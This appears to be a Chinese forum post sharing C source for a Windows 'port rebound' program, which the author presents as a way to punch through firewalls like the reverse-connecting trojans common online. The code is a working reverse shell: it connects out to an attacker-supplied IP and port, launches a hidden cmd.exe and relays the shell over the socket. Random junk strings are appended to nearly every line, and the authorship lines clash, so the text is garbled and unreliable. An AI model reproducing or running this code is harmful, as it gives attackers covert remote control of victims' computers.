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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 tZ1iaYbvV  
,*.C''  
/* ============================== m,e1:Nk<  
Rebound port in Windows NT <wTkPErUG  
By wind,2006/7 qv3L@"Ub  
===============================*/ rS9*_-NH  
#include M3 8,SH<  
#include Ai iOs?  
v F L{j  
#pragma comment(lib,"wsock32.lib") avls[Bq  
}vO^%Gd  
void OutputShell(); KM (U-<<R  
SOCKET sClient; {rOz[E9vm  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f9u["e  
S5RS?ya  
void main(int argc,char **argv) D00rO4~6D%  
{  U^ BB|  
WSADATA stWsaData; xtU)3I=F%  
int nRet; :i*JlKHJ d  
SOCKADDR_IN stSaiClient,stSaiServer; 9!V<=0b/  
 ]\P  
if(argc != 3) iZ[o2Tre  
{ ,%d n)gt7  
printf("Useage:\n\rRebound DestIP DestPort\n"); RCNqHYR  
return; V&KH{j/P  
} xPqpNs-,  
n2-R[W^  
WSAStartup(MAKEWORD(2,2),&stWsaData); =}7wpTc,  
fE)+9!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s4SR6hBO  
vE?qF9I{$0  
stSaiClient.sin_family = AF_INET; ZvNXfC3Ia  
stSaiClient.sin_port = htons(0); oq]KOj[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oTOe(5N8a  
}W<]fK  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sr#, S(p  
{ _?Jm.nT  
printf("Bind Socket Failed!\n"); !0`ZK-nA6  
return; 4$.UVW\  
} ) !ZA.sx  
-$WiB  
stSaiServer.sin_family = AF_INET; txr!3-Ne'!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $if(`8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )'%L#  
oG@P M+{  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *goi^ Xp  
{ 21 cB_"  
printf("Connect Error!"); z!Jce}mx  
return; KUH&_yCRB  
} +cy(}Vp  
OutputShell(); TQ@*eoJj  
} \ox:/-[c\<  
C&Nd|c  
void OutputShell() a((5_8SX5  
{ wrsETB c  
char szBuff[1024]; \"Sqr(~_  
SECURITY_ATTRIBUTES stSecurityAttributes; ? dSrY  
OSVERSIONINFO stOsversionInfo; 2%vwC]A  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,O a)  
STARTUPINFO stStartupInfo; @uY%;%Pa8  
char *szShell; M~N'z /  
PROCESS_INFORMATION stProcessInformation; x+yt| &B  
unsigned long lBytesRead; Q'~;RE%T  
:g<dwuVO  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :Np&G4IM>  
Ev0V\tl>0  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XfbkK )d  
stSecurityAttributes.lpSecurityDescriptor = 0; `! m+g0  
stSecurityAttributes.bInheritHandle = TRUE; tGmyTBgx  
N.eSf  
7SAu">lIl  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L1)?5D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >R!^aJ  
D>*%zz|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y''?yr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m U7Ad"  
stStartupInfo.wShowWindow = SW_HIDE; "c\T  
stStartupInfo.hStdInput = hReadPipe; S2jo@bp!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NX)7g}S  
C UBcU  
GetVersionEx(&stOsversionInfo); b@,=;Y)O  
RSmxwx^  
switch(stOsversionInfo.dwPlatformId) MiOSSl};  
{ zi*D8!_C  
case 1: e4CG=K3s  
szShell = "command.com"; %_tL}m{?  
break; e1&c_"TOih  
default: 5-u=ZB%p  
szShell = "cmd.exe"; fXL>L   
break; k_}ICKzw1  
} zO)9(%LS  
PVEEKKJP]J  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L**!$k"{5  
I[t)V*L9  
send(sClient,szMsg,77,0); V i#(x9.  
while(1) )sNtw Sl^  
{ 3wR5:O$H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (Z`Y   
if(lBytesRead) $ HUCp9  
{ 3'&]v6|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Nt/*VYUn  
send(sClient,szBuff,lBytesRead,0); HM[BFF[;/  
} OgfQGGc  
else E) z g,7Y  
{ >{GC@Cw  
lBytesRead=recv(sClient,szBuff,1024,0); lBh {8a|2W  
if(lBytesRead<=0) break; eW >k'ez  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u%*;gu"2  
} 'inWV* P*g  
} SKG_P)TnO  
7%w4?Nv3I  
return; 9@vY(k k  
}
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